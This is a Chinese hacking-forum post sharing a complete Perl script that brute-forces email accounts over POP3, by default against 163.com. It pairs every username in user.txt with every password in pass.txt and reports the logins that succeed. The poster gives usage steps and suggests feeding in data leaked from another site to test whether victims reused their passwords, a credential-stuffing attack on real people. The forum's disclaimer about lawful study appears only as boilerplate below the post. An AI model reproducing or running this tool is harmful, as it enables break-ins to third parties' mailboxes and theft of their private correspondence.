搜索
查看: 2420|回复: 0

邮箱爆破脚本

[复制链接]

134

主题

213

帖子

471

积分

中级会员

中国黑客

Rank: 3Rank: 3

积分
471
QQ
发表于 2018-10-8 18:29:43 来自手机 | 显示全部楼层 |阅读模式
#!/usr/bin/perl
use Net::POP3;
$email="pop.163.com";          //设置pop服务器地址 qq为pop.qq.com
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
print $pop->banner();
$pop->quit;
$i=0;
open(fp1,"user.txt");      
@array1=<fp1>;
open(fp2,"pass.txt");
@array2=<fp2>;                     //从文件中获取邮箱用户名及密码
foreach $a(@array1) {
$u=substr($a,0,length($a)-1);
$u=$u."@163.com";
foreach $b(@array2) {
$p=substr($b,0,length($b)-1);
print "cracked with ".$u."-----".$p."n";
$i=$i+1;
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
$m=$pop->login($u,$p);              //尝试登录邮箱
if($m>0)
{
  print $u."------------".$p."----"."success"."n";
  $pop->quit;
}                                //成功登录
else
{
  print $u."------------".$p."----"."failed"."n";
  $pop->quit;                                     //登录失败
}
}
}
print $i;

用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

Default

$email="pop.163.com";
1
$email="pop.163.com";
再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说

这个有点鸡肋吧 万一邮箱的密码很复杂

呵呵

搞到了一个小站的数据,

用这个程序批量测试密码是否就是邮箱密码 呵呵

我啥都没说。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

温馨提示
1:发帖请遵守《中华人民共和国网络安全法》,发帖内容不得维护国家的、集体的、个人的利益。
2:请勿发布恶意攻击他人的技术文章、工具、和使用教程,发现后删帖处理。
3:本站的目的在于让更多的人了解网络安全,避免受到他人的恶意攻击。
4:本站中的部分文章,可能会出现一些“技术类手段”,但这仅仅为学习演示所用,而非恶意传播技术。
5:本站中的部分文章,可能转载自互联网。如有侵权行为,联系我们删除即可。
6:学习仅是充实头脑,切勿恶意攻击个人、企业等。所造成的法律后果一切由自己承担,本站及其站长概不负责。
我知道了
快速回复 返回顶部 返回列表